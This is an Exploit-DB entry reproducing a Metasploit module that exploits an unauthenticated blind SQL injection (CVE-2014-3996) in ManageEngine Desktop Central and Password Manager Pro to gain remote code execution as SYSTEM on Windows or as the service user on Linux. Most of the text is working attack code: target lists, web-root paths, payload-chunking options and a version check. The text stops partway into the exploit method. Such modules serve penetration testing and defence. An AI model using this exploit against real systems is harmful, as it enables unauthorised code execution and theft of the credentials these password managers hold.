Exploit-DB #34409
Description: ManageEngine Password Manager - MetadataServlet.dat SQL Injection (Metasploit)
Type: webapps
Platform: multiple
Date: 2014-08-25
Author: Pedro Ribeiro

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
      'Description'    => %q{
        This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
        which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
        Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
        SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
        the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
        or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
        with PostgreSQL you should find the web root path via other means and specify it with
        WEB_ROOT.

        The injection is only exploitable via a GET request, which means that the payload
        has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
        payloads and the use of exe-small is recommended, as you can only do between 10 and
        20 injections before using up all the available ManagedConnections until the next
        server restart.

        This vulnerability exists in all versions released since 2006, however builds below
        DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
        luck using the MySQL targets as a JDK might be installed in the $PATH.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'  # Vulnerability discovery and MSF module
        ],
      'References'     =>
        [
          [ 'CVE', '2014-3996' ],
          [ 'OSVDB', '110198' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
        ],
      'Arch'           => ARCH_X86,
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          [  'Automatic', {}  ],
          [  'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
            {
              'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
            {
              'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
            {
              'WebRoot' => '../../webapps/DesktopCentral/',
              'Database' => 'mysql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
            {
              'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
              'Database' => 'postgresql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
            {
              'WebRoot' => '../../webapps/PassTrix/',
              'Database' => 'mysql',
              'Platform' => 'win'
            }
          ],
          [  'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
            {
              'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
              'Database' => 'postgresql',
              'Platform' => 'linux'
            }
          ],
          [  'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
            {
              'WebRoot' => '../../webapps/PassTrix/',
              'Database' => 'mysql',
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,            # Privileged on Windows but not on Linux targets
      'DisclosureDate' => "Jun 8 2014"))

    register_options(
      [
        OptPort.new('RPORT',
          [true, 'The target port', 8020]),
        OptString.new('WEB_ROOT',
          [false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('CHUNK_SIZE',
          [true, 'Number of characters to send per request (< 7800)', 7500]),
        OptInt.new('SLEEP',
          [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
        OptBool.new('EXE_SMALL',
          [true, 'Use exe-small encoding for better reliability', true]),
      ], self.class)

  end

  def check
    check_code = check_desktop_central

    if check_code == Exploit::CheckCode::Unknown
      check_code = check_password_manager_pro
    end

    check_code
  end

  def exploit
    @my_target = pick_target
    if @my_target.nil?
      fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
    else
      print_status("#{peer} - Selected target #{@my_target.name}")
    end

    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case to avoid polluting the web root any more.
    if @my